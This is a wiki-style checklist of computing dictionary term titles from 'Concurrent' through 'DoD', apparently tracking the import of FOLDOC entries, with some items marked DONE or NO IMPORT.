Concurrent Massey Hope&lt;br&gt;
Concurrent ML&lt;br&gt;
Concurrent Oberon&lt;br&gt;
Concurrent Object-Oriented C&lt;br&gt;
Concurrent Object-Oriented Language&lt;br&gt;
Concurrent Pascal&lt;br&gt;
Concurrent Prolog&lt;br&gt;
Concurrent Scheme&lt;br&gt;
ConcurrentSmalltalk&lt;br&gt;
Concurrent SP/k&lt;br&gt;
condela&lt;br&gt;
condition out&lt;br&gt;
condom&lt;br&gt;
Conference On DAta SYstems Languages&lt;br&gt;
Conferencing over IP&lt;br&gt;
confidence test&lt;br&gt;
CONFIG.SYS&lt;br&gt;
configuration item&lt;br&gt;
configuration management&lt;br&gt;
configuration programming&lt;br&gt;
conflation&lt;br&gt;
ConflictNet&lt;br&gt;
congestion&lt;br&gt;
CONIC&lt;br&gt;
logical conjunction&lt;br&gt;
Conjunctive Normal Form&lt;br&gt;
connect&lt;br&gt;
connected graph&lt;br&gt;
connected subgraph&lt;br&gt;
connectionless protocol&lt;br&gt;
Connection Machine LISP&lt;br&gt;
connection-oriented&lt;br&gt;
connection-oriented network service&lt;br&gt;
connective&lt;br&gt;
connector conspiracy&lt;br&gt;
CONNIVER&lt;br&gt;
Co-NP&lt;br&gt;
CONS&lt;br&gt;
cons&lt;br&gt;
conservative evaluation&lt;br&gt;
considered harmful&lt;br&gt;
consistently complete&lt;br&gt;
console&lt;br&gt;
console jockey&lt;br&gt;
Consortium for Lexical Research&lt;br&gt;
constant angular velocity&lt;br&gt;
constant applicative form&lt;br&gt;
constant folding&lt;br&gt;
Constantine/Yourdon&lt;br&gt;
constant linear velocity&lt;br&gt;
constant mapping&lt;br&gt;
constraint&lt;br&gt;
constraint functional programming&lt;br&gt;
Constraint Handling In Prolog&lt;br&gt;
ConstraintLisp&lt;br&gt;
Constraint Logic Programming&lt;br&gt;
CONSTRAINTS&lt;br&gt;
constraint satisfaction&lt;br&gt;
constructed type&lt;br&gt;
constructive&lt;br&gt;
Constructive Cost Model&lt;br&gt;
constructive solid geometry&lt;br&gt;
constructor&lt;br&gt;
Consul&lt;br&gt;
container class&lt;br&gt;
content addressable memory&lt;br&gt;
content-based information retrieval&lt;br&gt;
Content Data Model&lt;br&gt;
content-free&lt;br&gt;
contention slot&lt;br&gt;
context&lt;br&gt;
context clash&lt;br&gt;
context-free&lt;br&gt;
context-sensitive menu&lt;br&gt;
context switch&lt;br&gt;
Contextually Communicating Sequential Processes&lt;br&gt;
continental drift&lt;br&gt;
continuation&lt;br&gt;
Continuation Passing Style&lt;br&gt;
continuation passing style&lt;br&gt;
continuations&lt;br&gt;
continuous function&lt;br&gt;
Continuous System Modeling Program&lt;br&gt;
continuous wave&lt;br&gt;
contraction&lt;br&gt;
control&lt;br&gt;
Control and Status Register&lt;br&gt;
control-C&lt;br&gt;
control code&lt;br&gt;
control flow NO IMPORT (more detailed article) [[Control flow]]&lt;br&gt;
control-G&lt;br&gt;
Control Language&lt;br&gt;
controller&lt;br&gt;
control-O&lt;br&gt;
Control Program&lt;br&gt;
Control Program for Microcomputers&lt;br&gt;
control-Q&lt;br&gt;
control-S&lt;br&gt;
control structure NO IMPORT (more detailed article) [[Control flow]]&lt;br&gt;
control tty&lt;br&gt;
control unit&lt;br&gt;
conventional memory&lt;br&gt;
Convergent Technologies&lt;br&gt;
Convergent Technologies Operating System&lt;br&gt;
Conversational LISP&lt;br&gt;
Conversational Monitor System&lt;br&gt;
converse&lt;br&gt;
conversion to iteration&lt;br&gt;
CONVERT&lt;br&gt;
convert.f90&lt;br&gt;
Convex Computer Corporation&lt;br&gt;
convex hull&lt;br&gt;
Conway, John Horton&lt;br&gt;
Conway's Law&lt;br&gt;
Conway's Life&lt;br&gt;
cooC&lt;br&gt;
cooccurrence matrix&lt;br&gt;
cookbook&lt;br&gt;
cooked mode&lt;br&gt;
cookie&lt;br&gt;
cookie bear&lt;br&gt;
cookie file&lt;br&gt;
cookie jar&lt;br&gt;
cookie monster&lt;br&gt;
cooky&lt;br&gt;
COOL&lt;br&gt;
CooL&lt;br&gt;
COOL:Gen&lt;br&gt;
Co-operative Development Environment&lt;br&gt;
Cooperative Information System&lt;br&gt;
cooperative multitasking&lt;br&gt;
coordinate&lt;br&gt;
Coordinated Universal Time&lt;br&gt;
Coordinating Committee for Intercontinental Research Networks&lt;br&gt;
copious free time&lt;br&gt;
copper&lt;br&gt;
Copper Distributed Data Interface&lt;br&gt;
coprocessor&lt;br&gt;
copy and paste&lt;br&gt;
copybook&lt;br&gt;
copybroke&lt;br&gt;
copying garbage collection&lt;br&gt;
copyleft&lt;br&gt;
copy member&lt;br&gt;
copy module&lt;br&gt;
copy protection&lt;br&gt;
copyright&lt;br&gt;
copywronged&lt;br&gt;
CORAL&lt;br&gt;
CORAL 66&lt;br&gt;
CORBA&lt;br&gt;
CORBIE&lt;br&gt;
CORC&lt;br&gt;
core&lt;br&gt;
core cancer&lt;br&gt;
core dump&lt;br&gt;
core gateway&lt;br&gt;
Corel Corporation&lt;br&gt;
core leak&lt;br&gt;
Corel VENTURA&lt;br&gt;
Core War&lt;br&gt;
corge&lt;br&gt;
Cornell List Processor&lt;br&gt;
Cornell Theory Center&lt;br&gt;
Cornell University&lt;br&gt;
Coroutine Pascal&lt;br&gt;
Corporation for Open Systems&lt;br&gt;
Corporation for Research and Educational Networking&lt;br&gt;
CORREGATE&lt;br&gt;
Correlatives and Conversions&lt;br&gt;
Cortex&lt;br&gt;
CORTL&lt;br&gt;
COS&lt;br&gt;
COSE&lt;br&gt;
COSINE&lt;br&gt;
cosmic rays&lt;br&gt;
COSS&lt;br&gt;
Cost Driver Attribute&lt;br&gt;
Cost/Schedule Control System Criteria&lt;br&gt;
COTS&lt;br&gt;
Cougar&lt;br&gt;
cough and die&lt;br&gt;
countable&lt;br&gt;
countably many&lt;br&gt;
counted&lt;br&gt;
country code&lt;br&gt;
coupling&lt;br&gt;
Course Author Language&lt;br&gt;
courseware&lt;br&gt;
Coursewriter III&lt;br&gt;
cowboy&lt;br&gt;
COWSEL&lt;br&gt;
CP&lt;br&gt;
CPAN&lt;br&gt;
CParaOps5&lt;br&gt;
CPE&lt;br&gt;
CPGA&lt;br&gt;
CPI&lt;br&gt;
CPL&lt;br&gt;
CPLD&lt;br&gt;
CPM '''DONE''' (same as below)&lt;br&gt;
[[CP/M]] '''DONE'''&lt;br&gt;
cpo&lt;br&gt;
cpp&lt;br&gt;
cppp&lt;br&gt;
C Programmer's Disease&lt;br&gt;
C-Prolog&lt;br&gt;
cproto&lt;br&gt;
CPS&lt;br&gt;
CPSR&lt;br&gt;
CPU&lt;br&gt;
CPU Info Center&lt;br&gt;
CPU time&lt;br&gt;
CPU Wars&lt;br&gt;
CR&lt;br&gt;
cr&lt;br&gt;
cracker&lt;br&gt;
cracking&lt;br&gt;
crack root&lt;br&gt;
crank&lt;br&gt;
crapplet&lt;br&gt;
CrApTeX&lt;br&gt;
crash&lt;br&gt;
crash and burn&lt;br&gt;
crawler&lt;br&gt;
crawling horror&lt;br&gt;
Cray instability&lt;br&gt;
crayola&lt;br&gt;
crayola books&lt;br&gt;
crayon&lt;br&gt;
Cray Research, Inc.&lt;br&gt;
CRC&lt;br&gt;
creationism&lt;br&gt;
creeping elegance&lt;br&gt;
creeping featurism&lt;br&gt;
creeping featuritis&lt;br&gt;
C-Refine&lt;br&gt;
CREN&lt;br&gt;
CREW PRAM&lt;br&gt;
crippleware&lt;br&gt;
criptography&lt;br&gt;
Crisis Software&lt;br&gt;
CRISP&lt;br&gt;
crisp&lt;br&gt;
Crispy Critters&lt;br&gt;
critical mass&lt;br&gt;
critical section&lt;br&gt;
CRL&lt;br&gt;
CRLF&lt;br&gt;
CRM&lt;br&gt;
crock&lt;br&gt;
cron&lt;br&gt;
cross-assembler&lt;br&gt;
cross-compiler&lt;br&gt;
cross-platform&lt;br&gt;
cross-post&lt;br&gt;
cross software&lt;br&gt;
CROSSTABS&lt;br&gt;
crosstalk&lt;br&gt;
CROW PRAM&lt;br&gt;
CRT&lt;br&gt;
crudware&lt;br&gt;
cruft&lt;br&gt;
cruftsmanship&lt;br&gt;
cruft together&lt;br&gt;
crufty&lt;br&gt;
crumb&lt;br&gt;
crunch&lt;br&gt;
cruncha cruncha cruncha&lt;br&gt;
crunchy&lt;br&gt;
cryppie&lt;br&gt;
crypt&lt;br&gt;
cryptanalysis&lt;br&gt;
Crypt Breakers Workbench&lt;br&gt;
cryptography&lt;br&gt;
cryptology&lt;br&gt;
Crystal&lt;br&gt;
CS-4&lt;br&gt;
C-Scheme&lt;br&gt;
CSCI&lt;br&gt;
C/SCSC&lt;br&gt;
CSCW&lt;br&gt;
CSG&lt;br&gt;
CSG-tree&lt;br&gt;
csh&lt;br&gt;
C shell&lt;br&gt;
.cshrc&lt;br&gt;
CSID&lt;br&gt;
C++SIM&lt;br&gt;
CSK Software&lt;br&gt;
CSL&lt;br&gt;
CSLIP&lt;br&gt;
CSM&lt;br&gt;
CSMA/CD&lt;br&gt;
CSMP&lt;br&gt;
CSNET&lt;br&gt;
CSO&lt;br&gt;
CSP&lt;br&gt;
CSP/80&lt;br&gt;
CS/PCode&lt;br&gt;
CSP/k&lt;br&gt;
CS-Prolog&lt;br&gt;
CSPS&lt;br&gt;
CSP-S&lt;br&gt;
CS/QCode&lt;br&gt;
CSR&lt;br&gt;
CSS&lt;br&gt;
CSSA&lt;br&gt;
CSS/II&lt;br&gt;
CSSL&lt;br&gt;
CSTools&lt;br&gt;
CSU&lt;br&gt;
CSU/DSU&lt;br&gt;
[[CSV]]&lt;br&gt;
CTC&lt;br&gt;
CTCP&lt;br&gt;
CTI&lt;br&gt;
CTL&lt;br&gt;
CTOS&lt;br&gt;
ctrl&lt;br&gt;
CTS&lt;br&gt;
CTSS&lt;br&gt;
CTY&lt;br&gt;
CU&lt;br&gt;
cu&lt;br&gt;
CUA (CUA - Common User Application)&lt;br&gt;
Cube&lt;br&gt;
cube&lt;br&gt;
cubing&lt;br&gt;
CUCH&lt;br&gt;
Cuckoo's Egg&lt;br&gt;
CUL&lt;br&gt;
Culler-Fried System&lt;br&gt;
CUPID&lt;br&gt;
CUPL&lt;br&gt;
curly bracket&lt;br&gt;
current&lt;br&gt;
[[curried function]] '''NO IMPORT''' (already exists)&lt;br&gt;
[[currying]] '''NO IMPORT''' (Already exists)&lt;br&gt;
curseperl&lt;br&gt;
curses&lt;br&gt;
cursor&lt;br&gt;
cursor dipped in X&lt;br&gt;
CU-SeeMe&lt;br&gt;
CUSI&lt;br&gt;
cuspy&lt;br&gt;
Customer Information Control System&lt;br&gt;
Customer Information Systems&lt;br&gt;
Customer Interaction Software&lt;br&gt;
Customer Relationship Management&lt;br&gt;
CUT&lt;br&gt;
cut and paste&lt;br&gt;
cut a tape&lt;br&gt;
cutover&lt;br&gt;
cv&lt;br&gt;
CVS&lt;br&gt;
CW&lt;br&gt;
CWeb&lt;br&gt;
CWI&lt;br&gt;
CWIC&lt;br&gt;
CWIS&lt;br&gt;
C with Classes&lt;br&gt;
cx&lt;br&gt;
cxref&lt;br&gt;
cy&lt;br&gt;
Cy486SLC&lt;br&gt;
cyber&lt;br&gt;
cyberbunny&lt;br&gt;
cyberchondriac&lt;br&gt;
cybercrud&lt;br&gt;
CyberGlove&lt;br&gt;
cybernetics&lt;br&gt;
cyberpunk&lt;br&gt;
cyberrhea&lt;br&gt;
cybersex&lt;br&gt;
cyberspace&lt;br&gt;
cyberspastic&lt;br&gt;
cyber-squatting&lt;br&gt;
CyberWand&lt;br&gt;
CyberZine&lt;br&gt;
CYBIL&lt;br&gt;
Cyc&lt;br&gt;
CYCL&lt;br&gt;
cycle&lt;br&gt;
cyclebabble&lt;br&gt;
cycle crunch&lt;br&gt;
cycle drought&lt;br&gt;
cycle of reincarnation&lt;br&gt;
cycle server&lt;br&gt;
cyclic redundancy check&lt;br&gt;
cyclic redundancy code&lt;br&gt;
Cyclo&lt;br&gt;
cyclomatic complexity&lt;br&gt;
Cygnus Tcl Tools&lt;br&gt;
cylinder&lt;br&gt;
CypherText&lt;br&gt;
Cyrix&lt;br&gt;
Cyrix 6x86 -- '''DONE'''&lt;br&gt;
cz&lt;br&gt;

== D ==
D&lt;br&gt;
DAA&lt;br&gt;
DAC&lt;br&gt;
DACAPO&lt;br&gt;
DACNOS&lt;br&gt;
D/A converter&lt;br&gt;
DACTL&lt;br&gt;
DADS&lt;br&gt;
daemon&lt;br&gt;
DAG&lt;br&gt;
Daisy&lt;br&gt;
DAISY 201&lt;br&gt;
[[daisy chain]] '''DONE'''&lt;br&gt;
daisywheel printer&lt;br&gt;
dangling pointer&lt;br&gt;
DANTE&lt;br&gt;
DAP Fortran&lt;br&gt;
DAPLEX&lt;br&gt;
DARE&lt;br&gt;
dark-side hacker&lt;br&gt;
Darms&lt;br&gt;
DARPA&lt;br&gt;
Dartmouth BASIC&lt;br&gt;
Darwin kernal&lt;br&gt;
DAS&lt;br&gt;
DASD&lt;br&gt;
DASE&lt;br&gt;
DASL&lt;br&gt;
DAT&lt;br&gt;
data&lt;br&gt;
data abstraction&lt;br&gt;
Data Address Generator&lt;br&gt;
database&lt;br&gt;
database administrator&lt;br&gt;
database machine&lt;br&gt;
database management system&lt;br&gt;
database manager&lt;br&gt;
[[database normalisation]] -- '''DONE''' (renamed [[database normalization]])&lt;br&gt;
database query language&lt;br&gt;
database server&lt;br&gt;
Data/BASIC&lt;br&gt;
DATABUS&lt;br&gt;
data bus&lt;br&gt;
data channel&lt;br&gt;
DATACODE I&lt;br&gt;
Datacom&lt;br&gt;
Data Communication Equipment&lt;br&gt;
Data Communications Equipment&lt;br&gt;
data compression&lt;br&gt;
Data definition language&lt;br&gt;
data dictionary&lt;br&gt;
data dictionary file&lt;br&gt;
data driven&lt;br&gt;
Data Driven Machine&lt;br&gt;
Data Encryption Algorithm&lt;br&gt;
Data Encryption Key&lt;br&gt;
Data Encryption Standard&lt;br&gt;
data flow&lt;br&gt;
data flow analysis&lt;br&gt;
Data Flow Diagram&lt;br&gt;
data fork&lt;br&gt;
data frame&lt;br&gt;
[[Data General]] '''DONE'''&lt;br&gt;
Data General mN601&lt;br&gt;
data glove&lt;br&gt;
datagram&lt;br&gt;
data hierarchy&lt;br&gt;
Data Interchange Standards Association&lt;br&gt;
Data Jack&lt;br&gt;
Datakit&lt;br&gt;
Data Link Connection Identifier&lt;br&gt;
data link layer&lt;br&gt;
data link level&lt;br&gt;
Data Link Provider Interface&lt;br&gt;
Data Management Language&lt;br&gt;
Data Manipulation Language&lt;br&gt;
data mart&lt;br&gt;
Datamation&lt;br&gt;
data mining&lt;br&gt;
data model&lt;br&gt;
data modeling&lt;br&gt;
data modelling&lt;br&gt;
Data Over Cable Systems Interface Specifications&lt;br&gt;
data packet&lt;br&gt;
Dataparallel-C&lt;br&gt;
Data Parallel Haskell&lt;br&gt;
data path&lt;br&gt;
Dataphone Digital Service&lt;br&gt;
data processing&lt;br&gt;
data rate&lt;br&gt;
data set&lt;br&gt;
data set organization&lt;br&gt;
Datastorm Technologies, Inc.&lt;br&gt;
data striping&lt;br&gt;
Data Structures Language&lt;br&gt;
Data Terminal Equipment&lt;br&gt;
Data Terminal Ready&lt;br&gt;
DATA-TEXT&lt;br&gt;
data transfer rate&lt;br&gt;
DATATRIEVE&lt;br&gt;
data type&lt;br&gt;
DataViews&lt;br&gt;
DataVis&lt;br&gt;
data warehouse&lt;br&gt;
data warehousing&lt;br&gt;
date&lt;br&gt;
DAU&lt;br&gt;
daughter&lt;br&gt;
David Turner&lt;br&gt;
day mode&lt;br&gt;
DAZIX&lt;br&gt;
DB&lt;br&gt;
DB2&lt;br&gt;
DB-25&lt;br&gt;
DBA&lt;br&gt;
dBASE&lt;br&gt;
DBC&lt;br&gt;
DBCS&lt;br&gt;
dBFAST&lt;br&gt;
DBH&lt;br&gt;
DBMS&lt;br&gt;
DBPL&lt;br&gt;
DBRI&lt;br&gt;
dBXL&lt;br&gt;
DC&lt;br&gt;
DC1&lt;br&gt;
DC2&lt;br&gt;
DC3&lt;br&gt;
DC4&lt;br&gt;
DCA&lt;br&gt;
DCALGOL&lt;br&gt;
DCC&lt;br&gt;
DCDL&lt;br&gt;
DCE&lt;br&gt;
DCG&lt;br&gt;
DCI&lt;br&gt;
DCL&lt;br&gt;
DCOM&lt;br&gt;
DCP&lt;br&gt;
D. C. Power Lab&lt;br&gt;
DCS&lt;br&gt;
DCT&lt;br&gt;
DD&lt;br&gt;
dd&lt;br&gt;
DDB&lt;br&gt;
DDCMP&lt;br&gt;
DDE&lt;br&gt;
DDE Manager&lt;br&gt;
DDIF&lt;br&gt;
DDL&lt;br&gt;
DDM&lt;br&gt;
DDN&lt;br&gt;
DDO&lt;br&gt;
DDP&lt;br&gt;
DDR-RAM&lt;br&gt;
DDR-SDRAM&lt;br&gt;
DDS&lt;br&gt;
DDT&lt;br&gt;
de&lt;br&gt;
DE-9&lt;br&gt;
DEA&lt;br&gt;
DEACON&lt;br&gt;
dead&lt;br&gt;
DEADBEEF '''DONE''' (included in [[Magic debug values]])&lt;br&gt;
dead code&lt;br&gt;
deadlock&lt;br&gt;
deadly embrace&lt;br&gt;
dead tree&lt;br&gt;
dead tree edition&lt;br&gt;
deamon&lt;br&gt;
death code&lt;br&gt;
Death Star&lt;br&gt;
deb&lt;br&gt;
Debian&lt;br&gt;
Debian GNU/Linux&lt;br&gt;
debianize&lt;br&gt;
deboursification&lt;br&gt;
De Bruijn graph&lt;br&gt;
De Bruijn notation&lt;br&gt;
debugging&lt;br&gt;
DEC&lt;br&gt;
dec&lt;br&gt;
DEC Alpha&lt;br&gt;
decay&lt;br&gt;
DECdesign&lt;br&gt;
DECdns&lt;br&gt;
DEChead&lt;br&gt;
dechunker&lt;br&gt;
decidability&lt;br&gt;
decidable&lt;br&gt;
decimal point&lt;br&gt;
decision problem&lt;br&gt;
decision support&lt;br&gt;
decision support database&lt;br&gt;
Decision Support Systems&lt;br&gt;
decision theory&lt;br&gt;
deckle&lt;br&gt;
declarative language&lt;br&gt;
DECmate&lt;br&gt;
DECnet&lt;br&gt;
Decomposed Petri Net&lt;br&gt;
decompress&lt;br&gt;
decryption&lt;br&gt;
DECstation&lt;br&gt;
DECT&lt;br&gt;
DECtape&lt;br&gt;
DECUS&lt;br&gt;
Decus cpp&lt;br&gt;
DEC Wars&lt;br&gt;
DECwindows&lt;br&gt;
DECwrite&lt;br&gt;
DED&lt;br&gt;
dedicated line&lt;br&gt;
deductive database&lt;br&gt;
deductive tableau&lt;br&gt;
Deep Blue&lt;br&gt;
deep hack mode&lt;br&gt;
deep magic&lt;br&gt;
deep space&lt;br&gt;
de facto standard&lt;br&gt;
default route&lt;br&gt;
defect&lt;br&gt;
defect analysis&lt;br&gt;
defect density&lt;br&gt;
defenestration&lt;br&gt;
Defense Advanced Research Project Agency&lt;br&gt;
Defense Advanced Research Projects Agency&lt;br&gt;
Defense Communications Agency&lt;br&gt;
Defense Data Network&lt;br&gt;
Defense Data Network Network Information Center&lt;br&gt;
Defense Information Systems Agency&lt;br&gt;
Defense Trade Regulations&lt;br&gt;
deferral&lt;br&gt;
definite clause&lt;br&gt;
definite sentence&lt;br&gt;
definitional constraint programming&lt;br&gt;
deflate&lt;br&gt;
deflate compression&lt;br&gt;
deflate/inflate compression&lt;br&gt;
deforestation&lt;br&gt;
defrag&lt;br&gt;
defragment&lt;br&gt;
defunct process&lt;br&gt;
degree&lt;br&gt;
degrees of freedom&lt;br&gt;
dehose&lt;br&gt;
DEK&lt;br&gt;
Delaunay triangulation&lt;br&gt;
delayed control-transfer&lt;br&gt;
delay instruction&lt;br&gt;
delay slot&lt;br&gt;
delete&lt;br&gt;
delimiter&lt;br&gt;
delint&lt;br&gt;
Delirium&lt;br&gt;
Delivered Source Instruction&lt;br&gt;
Dell Computer Corporation&lt;br&gt;
Delphi&lt;br&gt;
Delphi Technique&lt;br&gt;
Delta&lt;br&gt;
delta&lt;br&gt;
Delta-4&lt;br&gt;
delta conversion&lt;br&gt;
Delta-Prolog&lt;br&gt;
delta reduction&lt;br&gt;
DELTASE&lt;br&gt;
demand driven&lt;br&gt;
demand paged&lt;br&gt;
demand paging&lt;br&gt;
DeMarco&lt;br&gt;
DeMarco/Yourdon&lt;br&gt;
demented&lt;br&gt;
Demeter&lt;br&gt;
demigod&lt;br&gt;
De-Militarised Zone&lt;br&gt;
demo&lt;br&gt;
demodulate&lt;br&gt;
demodulation&lt;br&gt;
demo mode&lt;br&gt;
demon&lt;br&gt;
Demon Internet Ltd.&lt;br&gt; '''NO IMPORT''' article from 1994
DeMorgan's theorem&lt;br&gt;
demo version&lt;br&gt;
Denis Howe&lt;br&gt;
Dennis Ritchie&lt;br&gt;
denotational semantics&lt;br&gt;
Denotational Semantics Language&lt;br&gt;
Department of Defense&lt;br&gt;
Department of Defense Network&lt;br&gt;
depeditate&lt;br&gt;
dependability&lt;br&gt;
dependable software&lt;br&gt;
deprecated&lt;br&gt;
depth-first search&lt;br&gt;
DER&lt;br&gt;
dereference&lt;br&gt;
de-rezz&lt;br&gt;
derived class&lt;br&gt;
derived type&lt;br&gt;
DES&lt;br&gt;
descender&lt;br&gt;
descent function&lt;br&gt;
Descriptive Top-Level Specification&lt;br&gt;
descriptor&lt;br&gt;
design&lt;br&gt;
Design In Real Time&lt;br&gt;
design pattern&lt;br&gt;
design recovery&lt;br&gt;
Design System language&lt;br&gt;
desk check&lt;br&gt;
desktop database&lt;br&gt;
Desktop Management Interface&lt;br&gt;
[[Desktop Management Task Force]] -- DONE&lt;br&gt;
desktop manager&lt;br&gt;
desktop publishing&lt;br&gt;
DESQview&lt;br&gt;
destructor&lt;br&gt;
DESY&lt;br&gt;
DETAB&lt;br&gt;
deterministic&lt;br&gt;
deterministic automaton&lt;br&gt;
DETOL&lt;br&gt;
developer&lt;br&gt;
development&lt;br&gt;
Developmental Test and Evaluation&lt;br&gt;
development environment&lt;br&gt;
device&lt;br&gt;
Device Control&lt;br&gt;
Device Control 1&lt;br&gt;
Device Control 2&lt;br&gt;
Device Control 3&lt;br&gt;
Device Control 4&lt;br&gt;
device driver&lt;br&gt;
device independent bitmap&lt;br&gt;
Devil Book&lt;br&gt;
dev/null&lt;br&gt;
devo&lt;br&gt;
DEX&lt;br&gt;
DFA&lt;br&gt;
DFC&lt;br&gt;
DFD&lt;br&gt;
DFS&lt;br&gt;
DFT&lt;br&gt;
DGL&lt;br&gt;
DG/L&lt;br&gt;
DHCP&lt;br&gt;
Dhrystone&lt;br&gt;
DHSD&lt;br&gt;
DHTML&lt;br&gt;
DIALOG&lt;br&gt;
dialup&lt;br&gt;
DIAMAG&lt;br&gt;
diameter&lt;br&gt;
Diamond&lt;br&gt;
DIANA&lt;br&gt;
DIB&lt;br&gt;
DIBOL&lt;br&gt;
dickless workstation&lt;br&gt;
Dick Size War&lt;br&gt;
DICOM&lt;br&gt;
Dictionary APL&lt;br&gt;
dictionary flame&lt;br&gt;
Dictionary of Algorithms and Data Structures&lt;br&gt;
Dictionary of Computing&lt;br&gt;
DID&lt;br&gt;
diddle&lt;br&gt;
die&lt;br&gt;
die horribly&lt;br&gt;
diff&lt;br&gt;
Difference Engine&lt;br&gt;
difference equation&lt;br&gt;
differential&lt;br&gt;
differential driver&lt;br&gt;
differential line&lt;br&gt;
Diffie-Hellman&lt;br&gt;
digerati&lt;br&gt;
digest&lt;br&gt;
Digex&lt;br&gt;
DigiCash&lt;br&gt;
Digicom&lt;br&gt;
digirati&lt;br&gt;
digit&lt;br&gt;
Digital&lt;br&gt;
digital&lt;br&gt;
digital audio&lt;br&gt;
Digital Audio Tape&lt;br&gt;
digital camera&lt;br&gt;
digital carrier&lt;br&gt;
digital dashboard&lt;br&gt;
Digital Data Service&lt;br&gt;
Digital Enhanced Cordless Telecommunications&lt;br&gt;
digital envelope&lt;br&gt;
Digital Equipment Computer Users Society&lt;br&gt;
[[Digital Equipment Corporation]] '''DONE'''&lt;br&gt;
Digital Equipment Corporation Network '''DONE''', as DECnet&lt;br&gt;
Digital European Cordless Telecommunications&lt;br&gt;
Digital Express Group, Inc.&lt;br&gt;
Digital Lempel Ziv 1&lt;br&gt;
Digital Library Initiative&lt;br&gt;
Digital Linear Tape&lt;br&gt;
Digital Multimeter&lt;br&gt;
[[Digital Research]] '''DONE'''&lt;br&gt;
digital service unit&lt;br&gt;
[[Digital Signal Processing]] '''DONE'''&lt;br&gt;
Digital Signal Processing Language&lt;br&gt;
digital signature&lt;br&gt;
digital signatures&lt;br&gt;
Digital Signature Standard&lt;br&gt;
Digital Simulation Language&lt;br&gt;
Digital Simultaneous Voice and Data&lt;br&gt;
DIGITAL Standard MUMPS&lt;br&gt;
Digital Subscriber Line&lt;br&gt;
Digital Subscriber Line Access Module&lt;br&gt;
Digital Subscriber Loop&lt;br&gt;
Digital Switched Network&lt;br&gt;
Digital to Analog Converter&lt;br&gt;
Digital Versatile Disc&lt;br&gt;
Digital Video Disc&lt;br&gt;
Dijkstra's guarded command language&lt;br&gt;
dike&lt;br&gt;
DIL&lt;br&gt;
Dilbert&lt;br&gt;
Dilberted&lt;br&gt;
DIM&lt;br&gt;
DIMATE&lt;br&gt;
DIMM&lt;br&gt;
DIM statement&lt;br&gt;
DIN&lt;br&gt;
DIN-8&lt;br&gt;
ding&lt;br&gt;
Dining Philosophers Problem&lt;br&gt;
dink&lt;br&gt;
DinnerBell&lt;br&gt;
DINO&lt;br&gt;
dinosaur&lt;br&gt;
dinosaur pen&lt;br&gt;
dinosaurs mating&lt;br&gt;
diode&lt;br&gt;
Diophantine equation&lt;br&gt;
DIP&lt;br&gt;
diplex&lt;br&gt;
Direct-Access Storage Device&lt;br&gt;
Direct Client to Client Protocol&lt;br&gt;
Direct Connection&lt;br&gt;
directed acyclic graph&lt;br&gt;
directed graph&lt;br&gt;
Directed Oc&lt;br&gt;
directed set&lt;br&gt;
Direct Inward Dialing&lt;br&gt;
directional coupler&lt;br&gt;
Directly Executable Test Oriented Language&lt;br&gt;
direct mapped cache&lt;br&gt;
Direct Memory Access&lt;br&gt;
directory&lt;br&gt;
Directory Access Protocol&lt;br&gt;
directory service&lt;br&gt;
Directory System Agent&lt;br&gt;
Directory User Agent&lt;br&gt;
DirectX&lt;br&gt;
Dirt&lt;br&gt;
dirtball&lt;br&gt;
dirty power&lt;br&gt;
DISA&lt;br&gt;
disc&lt;br&gt;
disc drive&lt;br&gt;
disclaimer&lt;br&gt;
disconnect&lt;br&gt;
Discordianism&lt;br&gt;
discrete cosine transform&lt;br&gt;
discrete Fourier transform&lt;br&gt;
discrete preorder&lt;br&gt;
discriminated union&lt;br&gt;
discussion group&lt;br&gt;
Disiple&lt;br&gt;
disjoint union&lt;br&gt;
Disjunctive Normal Form&lt;br&gt;
disk&lt;br&gt;
[[disk controller]] - '''DONE'''&lt;br&gt;
disk drive&lt;br&gt;
disk duplexing&lt;br&gt;
diskette&lt;br&gt;
disk farm&lt;br&gt;
diskless workstation&lt;br&gt;
disk mirroring&lt;br&gt;
Disk Operating System&lt;br&gt;
disk operating system&lt;br&gt;
disk striping&lt;br&gt;
Dislang&lt;br&gt;
display&lt;br&gt;
display hack&lt;br&gt;
[[Display PostScript]] '''DONE'''&lt;br&gt;
display standard&lt;br&gt;
display standards&lt;br&gt;
display terminal&lt;br&gt;
Dissociated Press&lt;br&gt;
distfix&lt;br&gt;
Distributed Component Object Model&lt;br&gt;
Distributed Computing Environment&lt;br&gt;
distributed database&lt;br&gt;
Distributed Data Management&lt;br&gt;
Distributed Eiffel&lt;br&gt;
Distributed Logic Programming&lt;br&gt;
Distributed Management Environment&lt;br&gt;
distributed memory&lt;br&gt;
Distributed Network Operating System&lt;br&gt;
Distributed Operating Multi Access Interactive Network&lt;br&gt;
Distributed Processes&lt;br&gt;
Distributed Queue Dual Bus&lt;br&gt;
Distributed Smalltalk&lt;br&gt;
distributed system&lt;br&gt;
distributed systems&lt;br&gt;
distribution&lt;br&gt;
distributive lattice&lt;br&gt;
disusered&lt;br&gt;
dithering DONE&lt;br&gt;
Ditto Drive&lt;br&gt;
diverge&lt;br&gt;
divisor&lt;br&gt;
dj&lt;br&gt;
DJGPP&lt;br&gt;
DjVu&lt;br&gt;
DK&lt;br&gt;
dk&lt;br&gt;
DL/1&lt;br&gt;
DLC&lt;br&gt;
DLCI&lt;br&gt;
DLE&lt;br&gt;
DLG&lt;br&gt;
DL/I&lt;br&gt;
DLL&lt;br&gt;
DLM&lt;br&gt;
DLP&lt;br&gt;
DLPI&lt;br&gt;
DLT&lt;br&gt;
DLUR/DLUS&lt;br&gt;
DLZ1&lt;br&gt;
dm&lt;br&gt;
DMA&lt;br&gt;
DMAD&lt;br&gt;
dmake&lt;br&gt;
DMALGOL&lt;br&gt;
DME&lt;br&gt;
DMI&lt;br&gt;
DML&lt;br&gt;
DMM&lt;br&gt;
[[DMTF]] -- DONE&lt;br&gt;
DMZ&lt;br&gt;
DNA computing&lt;br&gt;
DNF&lt;br&gt;
DNIS&lt;br&gt;
DNIX&lt;br&gt;
DNOS&lt;br&gt;
DNS&lt;br&gt;
do&lt;br&gt;
DOA&lt;br&gt;
Doc&lt;br&gt;
doc&lt;br&gt;
docking station&lt;br&gt;
DOCMaker&lt;br&gt;
doco&lt;br&gt;
DOCSIS&lt;br&gt;
document&lt;br&gt;
documentation&lt;br&gt;
Document Examiner&lt;br&gt;
Document Image Processing&lt;br&gt;
Document Object Model&lt;br&gt;
Document Style Semantics and Specification Language&lt;br&gt;
Document Type Definition&lt;br&gt;
DOCUS&lt;br&gt;
DoD&lt;br&gt;
DoD-1&lt;br&gt;
dodgy&lt;br&gt;
DOD-STD-2167A&lt;br&gt;
DoD-STD-2168&lt;br&gt;
